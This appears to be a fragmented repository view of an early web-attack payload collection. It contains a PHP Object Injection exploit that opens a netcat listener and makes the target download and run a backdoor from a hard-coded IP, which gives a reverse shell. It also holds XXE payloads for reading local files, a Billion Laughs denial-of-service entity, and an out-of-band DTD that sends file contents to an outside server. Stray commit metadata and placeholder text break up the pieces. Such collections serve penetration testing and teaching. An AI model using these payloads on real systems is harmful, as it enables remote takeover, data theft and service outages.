XXE payloads

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swisskyrepo 2016-10-18 14:06:10 +07:00
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<?php
/*
PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP Object Injections flaws and gain remote shell access.
Shouts to @jstnkndy @yappare for the assist!
NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
*/
print "==============================================================================\r\n";
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print "==============================================================================\r\n";
print "[+] Generating serialized payload...[OK]\r\n";
print "[+] Launching reverse listener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp 4242\'');
class PHPObjectInjection
{
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('wget http://92.222.81.2/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
$url = 'http://localhost/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
$url = $url . urlencode(serialize(new PHPObjectInjection));
print "[+] Sending exploit...[OK]\r\n";
print "[+] Dropping down to interactive shell...[OK]\r\n";
print "==============================================================================\r\n";
$response = file_get_contents("$url");
?>

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/!\ Work in Progress : 1%
# PayloadsAllTheThings
A list of every usefull payloads and bypass for Web Application Security
TODO:
* XSS
* Upload
* Traversal Directory
* Tar
* SSRF
* PHP Serialization
* CSV Injection
To improve:
* RCE
* SQL injection
* XXE
# /!\ Work in Progress : 1%

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<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,PCFF...Cg=="> %init; ]><foo/>

6
XXE/Classic XXE.xml Executable file
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<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>

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<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

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# Title
Lorem
# XML External Entity
An XML External Entity attack is a type of attack against an application that parses XML input
## Vuln
## Exploit
Classic XXE
```
Code
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
```
Classic XXE Base64 encoded
```
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,PCFF...Cg=="> %init; ]><foo/>
```
Deny Of Service - Billion Laugh Attack
```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
XXE OOB Attack (Yunusov, 2013)
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```
## Thanks to
* Lorem
* Ipsum
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

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XXE OOB Attack (Yunusov, 2013)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;